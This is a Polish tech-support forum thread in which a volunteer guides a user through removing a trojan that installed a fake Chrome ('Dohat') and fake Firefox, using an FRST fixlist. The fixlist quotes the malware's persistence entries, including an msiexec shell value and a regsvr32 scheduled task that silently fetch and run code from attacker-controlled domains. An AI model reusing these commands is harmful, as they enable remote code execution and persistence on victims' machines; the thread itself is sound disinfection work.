Problem werfault i luckystarting

[Biauko91 2]

Witam. Otoz ostatnim czasem mam problem z wyskakujacym problemem, werfault.exe blad aplikacji, pisze tam cos o "pamiec nie moze byc written". Drugi problem powstal wczoraj(mam nadzieje, ze nie musze zakladac oddzielnego tematu?), z luckystarting. wyczytalem,ze jest to trojan bo przegladarka wyglada inaczej- w otartych zakladkach jest cos takiego (2) Youtube, podobno ten trojan jakby odpala swoja przegladarke a nie ta co mam. prosze o pomoc. dodaje logi z FRST

 

 

addition : http://wklej.org/id/3092403/

 

FRST : http://wklej.org/id/3092404/

 

Shortcut: http://wklej.org/id/3092407/

 

czekam na odpowiedz i dalsze instrukcje.

[filutka78 11]

1)

Shortcut: C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk -> C:\Program Files (x86)\Dohat\Application\chrome.exe (Google Inc.)

Shortcut: C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk -> C:\Program Files (x86)\Dohat\Application\chrome.exe (Google Inc.)

Shortcut: C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Google Chrome.lnk -> C:\Program Files (x86)\Dohat\Application\chrome.exe (Google Inc.)

Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk -> C:\Program Files (x86)\Dohat\Application\chrome.exe (Google Inc.)

Shortcut: C:\Users\Public\Desktop\Google Chrome.lnk -> C:\Program Files (x86)\Dohat\Application\chrome.exe (Google Inc.)

Te skróty dam do usuwania, bo przekierowują do fałszywej przeglądarki C:\Program Files (x86)\Dohat\Application\chrome.exe, która wygląda jak Google Chrome, ale w rzeczywistości to Trojan.

Potem zrobisz sobie nowe skróty w tych samych lokalizacjach.

 

2) Otwórz Notatnik i wklej w nim:

FirewallRules: [{3FFA97EF-4CFA-478A-A10D-5D8D3385B327}] => (Allow) C:\Program Files (x86)\Dohat\Application\chrome.exe

FirewallRules: [{58E960AC-FA44-43F4-9E6B-4724FBDDC395}] => (Allow) C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe

FirewallRules: [{562F350D-7C88-436B-8FF2-518F28F2DA11}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe

MSCONFIG\Services: FirefoxU => 2

RemoveDirectory: C:\Program Files (x86)\Dohat

RemoveDirectory: C:\Program Files (x86)\Firefox

HKU\S-1-5-21-2286228726-4273474922-1041163010-1000\...\Policies\system: [shell] explorer.exe,msiexec.exe /i http://point.orangeiloveyou.com/?data=zDlkMj1YNUIcOWI8FjNQNWM3MjhXOUJXMTNWOTRQNUI3MUZSRH== /q

C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk

C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk

C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Google Chrome.lnk

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk

C:\Users\Public\Desktop\Google Chrome.lnk

Task: {C266D9A4-E606-440B-829B-BFC69438165C} - System32\Tasks\PowerWord-SCT-JT => Regsvr32.exe /s /i:hxxp://point.lotusiloveyou.com/?data=zDlkMj1YNUIcOWI8FjNQNWM3MjhXOUJXMTNWOTRQNUI3MUZSRH== scrobj.dll

HKU\S-1-5-21-2286228726-4273474922-1041163010-1000\...\ChromeHTML: -> C:\Program Files (x86)\Dohat\Application\chrome.exe (Google Inc.) <==== UWAGA

2017-04-13 14:18 - 2017-04-13 14:18 - 00000000 ____D C:\Users\Admin\AppData\Roaming\SSMgre

2017-04-19 15:01 - 2017-04-19 15:01 - 00000000 ____D C:\Users\Admin\AppData\Roaming\Firefox

2017-04-19 15:01 - 2017-04-19 15:01 - 00000000 ____D C:\Users\Admin\AppData\Local\Firefox

2017-04-19 15:00 - 2017-04-21 17:39 - 00000000 _____ C:\Users\Public\Documents\temp.dat

2017-04-19 15:00 - 2017-04-21 17:34 - 00000000 _____ C:\Users\Public\Documents\report.dat

2017-04-19 15:00 - 2017-04-19 19:18 - 00000000 ____D C:\Users\Admin\AppData\Local\3DM

2017-04-19 15:00 - 2017-04-19 15:01 - 00000000 ____D C:\Program Files (x86)\Firefox

2017-04-19 15:00 - 2017-04-19 15:00 - 00000000 ____D C:\Users\Admin\AppData\Local\Dohat

2017-04-19 15:00 - 2017-04-19 15:00 - 00000000 ____D C:\Program Files (x86)\Dohat

2017-04-19 14:55 - 2017-04-21 17:34 - 00000000 ____D C:\Program Files (x86)\BiaoJi

FF ProfilePath: C:\Users\Admin\AppData\Roaming\Firefox\Firefox\Profiles\vrabtv1z.default [2017-04-20]

FF Extension: (FF Adr) - C:\Users\Admin\AppData\Roaming\Firefox\Firefox\Profiles\vrabtv1z.default\Extensions\@H99KV4DO-UCCF-9PFO-9ZLK-8RRP4FVOKD9O.xpi [2017-04-19] [brak podpisu cyfrowego]

FF Extension: (Polski Language Pack) - C:\Users\Admin\AppData\Roaming\Firefox\Firefox\Profiles\vrabtv1z.default\Extensions\langpack-pl@firefox.mozilla.org.xpi [2017-04-19] [brak podpisu cyfrowego]

FF SearchPlugin: C:\Users\Admin\AppData\Roaming\Firefox\Firefox\Profiles\vrabtv1z.default\searchplugins\startsearch.xml [2017-04-19]

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk

HOSTS:

EmptyTemp:

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST.exe

Uruchom FRST i kliknij przycisk Fix (NAPRAW).

 

----------------------

Jeśli będzie OK, to będziemy kończyć:

Otwórz Notatnik i wklej w nim:

DeleteQuarantine:

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST. Uruchom FRST i kliknij w Fix (NAPRAW).

przez SHIFT+DEL usuń pozostały folder C:\FRST.

 

F.

[Biauko91 2]

Wybacz ale troche nie rozumiem co mam zronic... kazdy cytat czyli 1,2 i 3 mam zrobic w oddzielnych notatnikach i dodac do folderu z FRST?

[filutka78 11]

tylko nr 2, ewentualnie także nr 3 (jeśli już wszystko będzie OK)

oczywiście oddzielnie

 

F.

[Biauko91 2]

jesli tak to zrobie wszystkie. czyli zrobic 3 notatniki i umiescic w folderze tak? czy kazdy osobno i napraw?

[filutka78 11]

tylko nr 2 i ewentualnie nr 3

 

każde oddzielnie!

 

nr 1 to tylko mój komunikat dla Ciebie.

 

F.

[Biauko91 2]

Dobrze, podaje nr 2 (z fixloga), ktory napisales/as.

 

http://wklej.org/id/3093206/

 

(zrobilem fix, komputer musial zostac zrestartowany)

Podaj dalsze instrukcje

[filutka78 11]

OK, teraz wykonaj nr 3

 

I to wszystko, koniec.

 

F.

[Biauko91 2]

czyli delete quarantine?

 

prosze:

http://wklej.org/id/3093216/

[Biauko91 2]

czekam na odpowiedz

[filutka78 11]

OK, wykonane.

 

To wszystko.

 

F.

[Biauko91 2]

A moglbym Ciebie jeszcze chwile ppomeczyc? Kupilem komputer 3-4 miesiace temu, windows 7. po miesiacu pojawil sie komunikat, ze minela waznosc windowsa i trzeba aktywowac. Powiedzialem o tym dla goscia, ktory mi go sprzedal i powiedzial, ze zrobi to jak trzeba, ze aktywuje.... 2 miesiace spokoju i teraz znowu ten sam komunikat, ze windows wygasa i trzeba aktywowaC? co z tym zrobic? z gory dzieki

[filutka78 11]

to już nie moja "działka"

 

F.

[Biauko91 2]

ok. dziekuje Tobie za pomoc. jesli bedzie to samo to zglosze sie do Ciebie hej